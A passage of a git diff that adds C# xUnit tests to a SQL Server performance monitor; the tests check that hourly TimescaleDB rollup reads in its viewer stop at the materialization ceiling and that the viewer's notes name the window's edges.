+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds,
+     delta_logical_reads, delta_logical_writes, delta_physical_reads, delta_spills,
+     min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time)
+VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.AddWithValue(DarlingMcpTestData.TruncateToSeconds(at));
+        insert.Parameters.AddWithValue(ServerId);
+        insert.Parameters.AddWithValue(ServerName);
+        insert.Parameters.AddWithValue(Db);
+        insert.Parameters.AddWithValue(ProcName);
+        insert.Parameters.AddWithValue("0x" + ProcName);
+        insert.Parameters.AddWithValue(executions * 1_000L);
+        insert.Parameters.AddWithValue(executions * 900L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(3600);
+        insert.Parameters.AddWithValue(executions * 100L);
+        insert.Parameters.AddWithValue(executions * 10L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(executions * 2L);
+        AddPerExecutionExtremes(insert);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    /* #5329: the DMV's per-execution extremes, the numbers the raw route shows. They are the same on every planted row, so they
+       never equal a per-collection sum (executions * 900 is 9,000 or 18,000), which is what the rollup would hand back. */
+    private const long MinWorkerUs = 800L, MaxWorkerUs = 1_200L, MinElapsedUs = 850L, MaxElapsedUs = 950L;
+
+    private static void AddPerExecutionExtremes(NpgsqlCommand insert)
+    {
+        insert.Parameters.AddWithValue(MinWorkerUs);
+        insert.Parameters.AddWithValue(MaxWorkerUs);
+        insert.Parameters.AddWithValue(MinElapsedUs);
+        insert.Parameters.AddWithValue(MaxElapsedUs);
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(to);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerHourlyWindowEdgesLiveTests.cs b/Darling/Darling.Tests/ViewerHourlyWindowEdgesLiveTests.cs
new file mode 100644
index 0000000000..b045117e54
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerHourlyWindowEdgesLiveTests.cs
@@ -0,0 +1,339 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5329 lane C2: the viewer's hourly Top Queries and Top Procedures reads stop at the materialization ceiling of the
+/// relation that answers the window's end and answer the window's real edges, against real rollups. One query and one
+/// procedure in three hours (H0 = 1 execution, H1 = 10, H2 = 100, so a total names its hours); the hourly rollups are
+/// refreshed through H1 only, so the rollups' ceiling is H2's start while raw held an H2 row until the purge. A window
+/// that ends well after H2 must count only H0 and H1 (11), name the ceiling in its note, and, when the rollup starts
+/// after the window, name the floor. Read through both relations: the io rollup (a window that starts at its first
+/// bucket) and the interval rollup (a window that starts an hour before it).
+///
+/// <para><b>#1776 own-store</b> — the test mints a scratch database (it materializes continuous aggregates the shared
+/// fixture must never inherit), so the class is deliberately NOT in the <c>live-postgres</c> collection.</para>
+/// </summary>
+public sealed class ViewerHourlyWindowEdgesLiveTests
+{
+    private const int ServerId = -947301;
+    private const string ServerName = "viewer-hourly-edges";
+    private const string Db = "HourlyEdgesDb";
+    private const string QueryHash = "0xHEQ1";
+    private const string ProcName = "usp_HourlyEdges";
+
+    /// <summary>A fixed anchor, never wall-clock relative.</summary>
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime H0 = WindowStart.AddHours(1);
+    private static readonly DateTime H1 = WindowStart.AddHours(2);
+    private static readonly DateTime H2 = WindowStart.AddHours(3);
+
+    [Fact]
+    public async Task HourlyRoute_StopsAtTheCeiling_AndNamesTheWindowsEdges_OnBothRelationsAndBothGrids()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live hourly window-edges test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live hourly window-edges test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var end = WindowStart.AddHours(8);
+        var bodySucceeded = false;
+        try
+        {
+            var hours = new[] { H0, H1, H2 };
+            var executions = new[] { 1L, 10L, 100L };
+            for (var i = 0; i < hours.Length; i++)
+            {
+                await PlantQueryAsync(connection, hours[i].AddMinutes(10), executions[i], ct);
+                await PlantProcedureAsync(connection, hours[i].AddMinutes(10), executions[i], ct);
+            }
+
+            /* Refresh through H1's bucket only: H2 is never materialized, so every rollup's ceiling is H2's start. */
+            foreach (var view in new[]
+            {
+                TimescaleSupport.QueryStatsHourlyView, TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.QueryStatsIoHourlyView,
+                TimescaleSupport.ProcedureStatsHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView,
+            })
+            {
+                await RefreshAsync(connection, view, WindowStart, H2, ct);
+            }
+
+            /* Purge raw's H0 and H1 rows so the hourly route answers (the router sends a window raw no longer holds to the
+               rollup). H2's raw row stays: a continuous aggregate reads past its watermark from raw, so without the
+               ceiling bound the unmaterialized hour would be counted (111, not 11). */
+            foreach (var table in new[] { "query_stats", "procedure_stats" })
+            {
+                await using var purge = new NpgsqlCommand(
+                    $"DELETE FROM collect.{table} WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection);
+                purge.Parameters.AddWithValue(ServerId);
+                purge.Parameters.AddWithValue(WindowStart);
+                purge.Parameters.AddWithValue(H2);
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            /* The ceiling the stores measured: H2's start, on every relation the reads can name. */
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var rollups = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+            var coverage = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, rollups, ct);
+            Assert.Equal(H2, coverage.HourlyEndCeiling(TimescaleSupport.QueryStatsIoHourlyView, H0));
+            var ceilingText = "materialized only to " + DateTime.SpecifyKind(H2, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture);
+            var floorText = "served from " + DateTime.SpecifyKind(H0, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture);
+
+            /* ── io relation: the window starts AT the io view's first bucket, so the start edge did not move. ── */
+            await using (var viewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var queries = await viewer.GetTopQueriesByCpuRoutedAsync(ServerId, H0, end, cancellationToken: ct);
+                Assert.Equal("hourly", queries.Tier);
+                Assert.Equal(11L, queries.Rows.Sum(r => r.TotalExecutions));
+                Assert.Equal(1_100L, queries.Rows.Sum(r => r.TotalLogicalReads));
+                Assert.Contains(ceilingText, queries.HourlyEdgesNote, StringComparison.Ordinal);
+                Assert.Contains("nothing after it was read", queries.HourlyEdgesNote, StringComparison.Ordinal);
+                /* The banner's inputs: the io route (reads and writes are filled) and this server's first bucket. */
+                Assert.True(queries.IoRoute);
+                Assert.Equal(H0, queries.HourlyFirstBucket);
+
+                var procedures = await viewer.GetTopProceduresByCpuRoutedAsync(ServerId, H0, end, cancellationToken: ct);
+                Assert.Equal("hourly", procedures.Tier);
+                Assert.Equal(11L, procedures.Rows.Sum(r => r.TotalExecutions));
+                Assert.Equal(1_100L, procedures.Rows.Sum(r => r.TotalLogicalReads));
+                Assert.Contains(ceilingText, procedures.HourlyEdgesNote, StringComparison.Ordinal);
+                Assert.True(procedures.IoRoute);
+                Assert.Equal(H0, procedures.HourlyFirstBucket);
+            }
+
+            /* ── interval relation: the window starts an hour before the first bucket (io does not cover), so the note
+               names where the served data starts as well as the ceiling. ── */
+            await using (var viewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var queries = await viewer.GetTopQueriesByCpuRoutedAsync(ServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal("hourly", queries.Tier);
+                Assert.Null(queries.Rows.Single().TotalLogicalReads);
+                Assert.Equal(11L, queries.Rows.Sum(r => r.TotalExecutions));
+                Assert.Contains(ceilingText, queries.HourlyEdgesNote, StringComparison.Ordinal);
+                Assert.Contains(floorText, queries.HourlyEdgesNote, StringComparison.Ordinal);
+                Assert.False(queries.IoRoute);
+                Assert.Equal(H0, queries.HourlyFirstBucket);
+
+                var procedures = await viewer.GetTopProceduresByCpuRoutedAsync(ServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal("hourly", procedures.Tier);
+                Assert.Null(procedures.Rows.Single().TotalLogicalReads);
+                Assert.Equal(11L, procedures.Rows.Sum(r => r.TotalExecutions));
+                Assert.Contains(ceilingText, procedures.HourlyEdgesNote, StringComparison.Ordinal);
+                Assert.Contains(floorText, procedures.HourlyEdgesNote, StringComparison.Ordinal);
+                Assert.False(procedures.IoRoute);
+                Assert.Equal(H0, procedures.HourlyFirstBucket);
+            }
+
+            /* ── a server added AFTER the store's oldest one: the start edge is per SERVER. Server B's first bucket is H1 while the
+               store-wide floor (server A's) is H0, which is before the window's start; a store-wide floor would say nothing about
+               B's late start, and the banner would name nothing. The probe is the one the service's tools run. ── */
+            const int OtherServerId = ServerId - 1;
+            const string OtherServerName = ServerName + "-later";
+            await DarlingMcpTestData.RegisterServerAsync(connection, OtherServerId, OtherServerName, ct);
+            await PlantQueryAsync(connection, H1.AddMinutes(10), 4, ct, OtherServerId, OtherServerName);
+            await PlantProcedureAsync(connection, H1.AddMinutes(10), 4, ct, OtherServerId, OtherServerName);
+            foreach (var view in new[] { TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView })
+            {
+                await RefreshAsync(connection, view, H1, H2, ct);
+            }
+
+            foreach (var table in new[] { "query_stats", "procedure_stats" })
+            {
+                await using var purgeOther = new NpgsqlCommand($"DELETE FROM collect.{table} WHERE server_id = $1 AND collection_time < $2", connection);
+                purgeOther.Parameters.AddWithValue(OtherServerId);
+                purgeOther.Parameters.AddWithValue(H2);
+                await purgeOther.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var viewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var later = await viewer.GetTopQueriesByCpuRoutedAsync(OtherServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal("hourly", later.Tier);
+                Assert.Equal(4L, later.Rows.Sum(r => r.TotalExecutions));
+                Assert.Equal(H1, later.HourlyFirstBucket);
+                Assert.Contains("served from " + DateTime.SpecifyKind(H1, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture),
+                    later.HourlyEdgesNote, StringComparison.Ordinal);
+
+                var laterProcedures = await viewer.GetTopProceduresByCpuRoutedAsync(OtherServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal(4L, laterProcedures.Rows.Sum(r => r.TotalExecutions));
+                Assert.Equal(H1, laterProcedures.HourlyFirstBucket);
+                Assert.Contains("served from " + DateTime.SpecifyKind(H1, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture),
+                    laterProcedures.HourlyEdgesNote, StringComparison.Ordinal);
+
+                /* Server A, in the same store and the same viewer, still starts at its own first bucket. */
+                var first = await viewer.GetTopQueriesByCpuRoutedAsync(ServerId, WindowStart, end, cancellationToken: ct);
+                Assert.Equal(H0, first.HourlyFirstBucket);
+
+                /* The probe's window end is exclusive, as the grids' is: server B's ONLY bucket is H1, so a window that ENDS at H1
+                   reads nothing, and its note and banner must not name a start for that empty grid. */
+                var emptyEnd = await viewer.GetTopQueriesByCpuRoutedAsync(OtherServerId, WindowStart, H1, cancellationToken: ct);
+                Assert.Equal("hourly", emptyEnd.Tier);
+                Assert.Empty(emptyEnd.Rows);
+                Assert.Null(emptyEnd.HourlyFirstBucket);
+                Assert.DoesNotContain("served from", emptyEnd.HourlyEdgesNote ?? string.Empty, StringComparison.Ordinal);
+
+                var emptyEndProcedures = await viewer.GetTopProceduresByCpuRoutedAsync(OtherServerId, WindowStart, H1, cancellationToken: ct);
+                Assert.Empty(emptyEndProcedures.Rows);
+                Assert.Null(emptyEndProcedures.HourlyFirstBucket);
+            }
+
+            /* ── a bucket materializes AFTER the viewer measured its ceiling (the coverage snapshot is cached per viewer):
+               the rollups now hold H2, and neither grid may read it, as the service's reads do not. ── */
+            await using (var viewer = new ViewerDataService(scratch.ConnectionString))
+            {
+                var before = await viewer.GetTopQueriesByCpuRoutedAsync(ServerId, H0, end, cancellationToken: ct);
+                Assert.Equal(11L, before.Rows.Sum(r => r.TotalExecutions));
+
+                foreach (var view in new[]
+                {
+                    TimescaleSupport.QueryStatsHourlyView, TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.QueryStatsIoHourlyView,
+                    TimescaleSupport.ProcedureStatsHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView,
+                })
+                {
+                    await RefreshAsync(connection, view, H2, end, ct);
+                }
+
+                foreach (var table in new[] { "query_stats", "procedure_stats" })
+                {
+                    await using var purge = new NpgsqlCommand(
+                        $"DELETE FROM collect.{table} WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection);
+                    purge.Parameters.AddWithValue(ServerId);
+                    purge.Parameters.AddWithValue(WindowStart);
+                    purge.Parameters.AddWithValue(WindowStart.AddDays(1));
+                    await purge.ExecuteNonQueryAsync(ct);
+                }
+
+                var queries = await viewer.GetTopQueriesByCpuRoutedAsync(ServerId, H0, end, cancellationToken: ct);
+                Assert.Equal(11L, queries.Rows.Sum(r => r.TotalExecutions));
+                Assert.Contains(ceilingText, queries.HourlyEdgesNote, StringComparison.Ordinal);
+                var procedures = await viewer.GetTopProceduresByCpuRoutedAsync(ServerId, H0, end, cancellationToken: ct);
+                Assert.Equal(11L, procedures.Rows.Sum(r => r.TotalExecutions));
+                Assert.Contains(ceilingText, procedures.HourlyEdgesNote, StringComparison.Ordinal);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+
+    /// <summary>One query_stats row: per execution 1,000 us CPU, 900 us elapsed, 100 reads, 10 writes, 1 physical read.</summary>
+    private static async Task PlantQueryAsync(
+        NpgsqlConnection connection, DateTime at, long executions, CancellationToken ct, int serverId = ServerId, string serverName = ServerName)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds,
+     delta_logical_reads, delta_logical_writes, delta_physical_reads, delta_rows, delta_spills,
+     min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.AddWithValue(DarlingMcpTestData.TruncateToSeconds(at));
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(serverName);
+        insert.Parameters.AddWithValue(Db);
+        insert.Parameters.AddWithValue(QueryHash);
+        insert.Parameters.AddWithValue("0xHEQ1H");
+        insert.Parameters.AddWithValue(executions * 1_000L);
+        insert.Parameters.AddWithValue(executions * 900L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(3600);
+        insert.Parameters.AddWithValue(executions * 100L);
+        insert.Parameters.AddWithValue(executions * 10L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(executions * 3L);
+        insert.Parameters.AddWithValue(executions * 2L);
+        AddPerExecutionExtremes(insert);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task PlantProcedureAsync(
+        NpgsqlConnection connection, DateTime at, long executions, CancellationToken ct, int serverId = ServerId, string serverName = ServerName)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds,
+     delta_logical_reads, delta_logical_writes, delta_physical_reads, delta_spills,
+     min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time)
+VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.AddWithValue(DarlingMcpTestData.TruncateToSeconds(at));
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(serverName);
+        insert.Parameters.AddWithValue(Db);
+        insert.Parameters.AddWithValue(ProcName);
+        insert.Parameters.AddWithValue("0x" + ProcName);
+        insert.Parameters.AddWithValue(executions * 1_000L);
+        insert.Parameters.AddWithValue(executions * 900L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(3600);
+        insert.Parameters.AddWithValue(executions * 100L);
+        insert.Parameters.AddWithValue(executions * 10L);
+        insert.Parameters.AddWithValue(executions);
+        insert.Parameters.AddWithValue(executions * 2L);
+        AddPerExecutionExtremes(insert);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static void AddPerExecutionExtremes(NpgsqlCommand insert)
+    {
+        insert.Parameters.AddWithValue(800L);
+        insert.Parameters.AddWithValue(1_200L);
+        insert.Parameters.AddWithValue(850L);
+        insert.Parameters.AddWithValue(950L);
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, string view, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(to);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerHourlyWindowEdgesTests.cs b/Darling/Darling.Tests/ViewerHourlyWindowEdgesTests.cs
new file mode 100644
index 0000000000..816b113b39
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerHourlyWindowEdgesTests.cs
@@ -0,0 +1,291 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5329 lane C2: the viewer's hourly Top Queries and Top Procedures reads bound each read at the materialization
+/// ceiling of the relation that answers the window's END (the service's rule, now one method on
+/// <see cref="RollupCoverage"/>) and show the window's real edges (<see cref="HourlyWindowEdges.Note"/>, the MCP
+/// tools' own text) beside the tier disclosure on the grid's banner. These are the no-database pins;
+/// <c>ViewerHourlyWindowEdgesLiveTests</c> pins the behavior against real rollups.
+/// </summary>
+public sealed class ViewerHourlyWindowEdgesTests
+{
+    private static readonly DateTime Aligned = new(2026, 1, 5, 10, 0, 0, DateTimeKind.Utc);
+    private static readonly DateTime Unaligned = new(2026, 1, 5, 10, 30, 0, DateTimeKind.Utc);
+
+    private static RollupCoverage Coverage(
+        IReadOnlyDictionary<string, DateTime>? floors = null, IReadOnlyDictionary<string, DateTime>? ceilings = null) =>
+        new(floors ?? new Dictionary<string, DateTime>(StringComparer.Ordinal),
+            new Dictionary<string, DateTime>(StringComparer.Ordinal),
+            RollupAvailability.All,
+            ceilings ?? new Dictionary<string, DateTime>(StringComparer.Ordinal));
+
+    private static string Utc(DateTime instant) =>
+        DateTime.SpecifyKind(instant, DateTimeKind.Utc).ToString("o", System.Globalization.CultureInfo.InvariantCulture);
+
+    [Fact]
+    public void HourlyCeilingSql_IsEmptyWithoutACeiling_AndBoundsTheBucketWithOne()
+    {
+        Assert.Equal("", ViewerDataService.HourlyCeilingSql(null));
+        Assert.Contains("bucket < $6", ViewerDataService.HourlyCeilingSql(Aligned), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void HourlySql_BindsTheCeilingOnlyWhenOneIsKnown_OnBothGrids()
+    {
+        const string From = "collect.query_stats_io_hourly AS f";
+        foreach (var build in new Func<DateTime?, string>[]
+        {
+            ceiling => ViewerDataService.BuildTopQueriesHourlySql(From, withIo: true, ceiling: ceiling),
+            ceiling => ViewerDataService.BuildTopQueriesHourlySql(From, withIo: false, ceiling: ceiling),
+            ceiling => ViewerDataService.BuildTopProceduresHourlySql(From, withIo: true, ceiling: ceiling),
+            ceiling => ViewerDataService.BuildTopProceduresHourlySql(From, withIo: false, ceiling: ceiling),
+        })
+        {
+            var bounded = build(Aligned);
+            Assert.Contains("bucket < $6", bounded, StringComparison.Ordinal);
+            /* The ceiling rides beside the window end, ahead of the grouping. */
+            Assert.True(
+                bounded.IndexOf("bucket < $3", StringComparison.Ordinal) < bounded.IndexOf("bucket < $6", StringComparison.Ordinal)
+                && bounded.IndexOf("bucket < $6", StringComparison.Ordinal) < bounded.IndexOf("GROUP BY", StringComparison.Ordinal));
+
+            /* A null ceiling means no bound: today's text, with no sixth parameter. */
+            var open = build(null);
+            Assert.DoesNotContain("$6", open, StringComparison.Ordinal);
+            Assert.Contains("bucket < $3", open, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The ceiling is that of the relation that answers the window's END: the io view's own, and for the interval
+    /// rollup the successor's when the successor serves the window and the legacy's when it does not.</summary>
+    [Fact]
+    public void HourlyEndCeiling_IsTheCeilingOfTheRelationThatAnswersTheEnd()
+    {
+        var ceilings = new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.QueryStatsIoHourlyView] = Aligned.AddHours(5),
+            [TimescaleSupport.QueryStatsHourlyView] = Aligned.AddHours(2),
+            [TimescaleSupport.QueryStatsIntervalHourlyView] = Aligned.AddHours(3),
+        };
+
+        /* The io view has no successor: its own ceiling. */
+        Assert.Equal(Aligned.AddHours(5),
+            Coverage(ceilings: ceilings).HourlyEndCeiling(TimescaleSupport.QueryStatsIoHourlyView, Aligned));
+
+        /* The successor reaches the window's start as far back as the legacy does: it answers, and its ceiling bounds. */
+        var successorServes = new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.QueryStatsHourlyView] = Aligned.AddDays(-1),
+            [TimescaleSupport.QueryStatsIntervalHourlyView] = Aligned.AddDays(-1),
+        };
+        Assert.Equal(Aligned.AddHours(3),
+            Coverage(successorServes, ceilings).HourlyEndCeiling(TimescaleSupport.QueryStatsHourlyView, Aligned));
+
+        /* The successor holds nothing and the legacy covers the window: the legacy answers, its ceiling bounds. */
+        var legacyServes = new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.QueryStatsHourlyView] = Aligned.AddDays(-1),
+        };
+        Assert.Equal(Aligned.AddHours(2),
+            Coverage(legacyServes, ceilings).HourlyEndCeiling(TimescaleSupport.QueryStatsHourlyView, Aligned));
+
+        /* The successor starts after the window's start while the legacy covers it: a stitched read, whose END is served by the
+           successor, so the successor's ceiling bounds. */
+        var stitched = new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.QueryStatsHourlyView] = Aligned.AddDays(-1),
+            [TimescaleSupport.QueryStatsIntervalHourlyView] = Aligned.AddHours(1),
+        };
+        Assert.Equal(Aligned.AddHours(3),
+            Coverage(stitched, ceilings).HourlyEndCeiling(TimescaleSupport.QueryStatsHourlyView, Aligned));
+
+        /* No measured ceiling: no bound. */
+        Assert.Null(Coverage().HourlyEndCeiling(TimescaleSupport.QueryStatsIoHourlyView, Aligned));
+    }
+
+    [Fact]
+    public void HourlyEdgesNote_NamesACeilingTheFloorAndAnUnalignedEnd_AndSaysNothingWhenNoEdgeMoved()
+    {
+        var end = new DateTime(2026, 1, 5, 12, 15, 0, DateTimeKind.Utc);
+
+        /* Ceiling known and at or before the end: nothing after it was read, and the note names it. */
+        var ceiling = new DateTime(2026, 1, 5, 11, 0, 0, DateTimeKind.Utc);
+        var cut = ViewerDataService.HourlyEdgesNote(Aligned, end, null, ceiling);
+        Assert.NotNull(cut);
+        Assert.Contains("materialized only to " + Utc(ceiling), cut, StringComparison.Ordinal);
+        Assert.Contains("nothing after it was read", cut, StringComparison.Ordinal);
+        Assert.DoesNotContain("ceiling unknown", cut, StringComparison.Ordinal);
+
+        /* Ceiling null: no bound, and no ceiling text beyond "unknown". */
+        var unknown = ViewerDataService.HourlyEdgesNote(Aligned, end, null, null);
+        Assert.Contains("materialization ceiling unknown", unknown, StringComparison.Ordinal);
+        Assert.DoesNotContain("materialized only to", unknown, StringComparison.Ordinal);
+
+        /* Ceiling past an unaligned end: the end's bucket is counted whole. */
+        var past = ViewerDataService.HourlyEdgesNote(Aligned, end, null, end.AddHours(3));
+        Assert.Contains("is included whole", past, StringComparison.Ordinal);
+
+        /* An unaligned start whose rollup starts later: the note names the floor and the data it leaves out. */
+        var floor = new DateTime(2026, 1, 5, 12, 0, 0, DateTimeKind.Utc);
+        var late = ViewerDataService.HourlyEdgesNote(Unaligned, end, floor, end.AddHours(3));
+        Assert.Contains("no bucket before " + Utc(floor), late, StringComparison.Ordinal);
+        Assert.Contains($"the data from {Utc(Unaligned)} to {Utc(floor)} is not included", late, StringComparison.Ordinal);
+
+        /* A floor after an ALIGNED start, with the end cut at the ceiling, names the span actually served. */
+        var floor11 = new DateTime(2026, 1, 5, 11, 0, 0, DateTimeKind.Utc);
+        var servedFrom = ViewerDataService.HourlyEdgesNote(Aligned, end, floor11, floor);
+        Assert.Contains("served from " + Utc(floor11) + " to " + Utc(floor), servedFrom, StringComparison.Ordinal);
+
+        /* A floor at or before the start moves no start edge: an aligned window with a known ceiling past an aligned end says nothing. */
+        var alignedEnd = new DateTime(2026, 1, 5, 12, 0, 0, DateTimeKind.Utc);
+        Assert.Null(ViewerDataService.HourlyEdgesNote(Aligned, alignedEnd, null, alignedEnd.AddHours(3)));
+        /* ... and a server whose first bucket IS the aligned start (the per-server probe's answer) moves none either. */
+        Assert.Null(ViewerDataService.HourlyEdgesNote(Aligned, alignedEnd, Aligned, alignedEnd.AddHours(3)));
+    }
+
+    [Fact]
+    public void HourlyBannerSuffix_IsNullForRaw_TheTierSuffixAloneForHourlyWithoutANote_AndCarriesTheNoteOtherwise()
+    {
+        Assert.Null(ViewerServerTab.HourlyBannerSuffix("raw", false, null));
+        Assert.Null(ViewerServerTab.HourlyBannerSuffix("raw", true, "a note a raw read never has"));
+
+        var bare = ViewerServerTab.HourlyBannerSuffix("hourly", false, null);
+        Assert.Contains("aggregated hourly", bare, StringComparison.Ordinal);
+        Assert.DoesNotContain("Window edges", bare, StringComparison.Ordinal);
+        Assert.Equal(bare, ViewerServerTab.HourlyBannerSuffix("hourly", false, ""));
+
+        var withNote = ViewerServerTab.HourlyBannerSuffix("hourly", false, "the hourly rollup is materialized only to X; nothing after it was read");
+        Assert.StartsWith(bare, withNote, StringComparison.Ordinal);
+        Assert.EndsWith("Window edges: the hourly rollup is materialized only to X; nothing after it was read", withNote, StringComparison.Ordinal);
+    }
+
+    /// <summary>#5329: on the io route the grid FILLS reads, physical reads and writes, so the banner must not call them
+    /// blank; the stitched route's text still does. Both keep what the rollup lacks (per-caller detail, spills, min/max).</summary>
+    [Fact]
+    public void HourlyBannerSuffix_OnTheIoRoute_DoesNotCallReadsAndWritesBlank_AndTheStitchedRouteStill_Does()
+    {
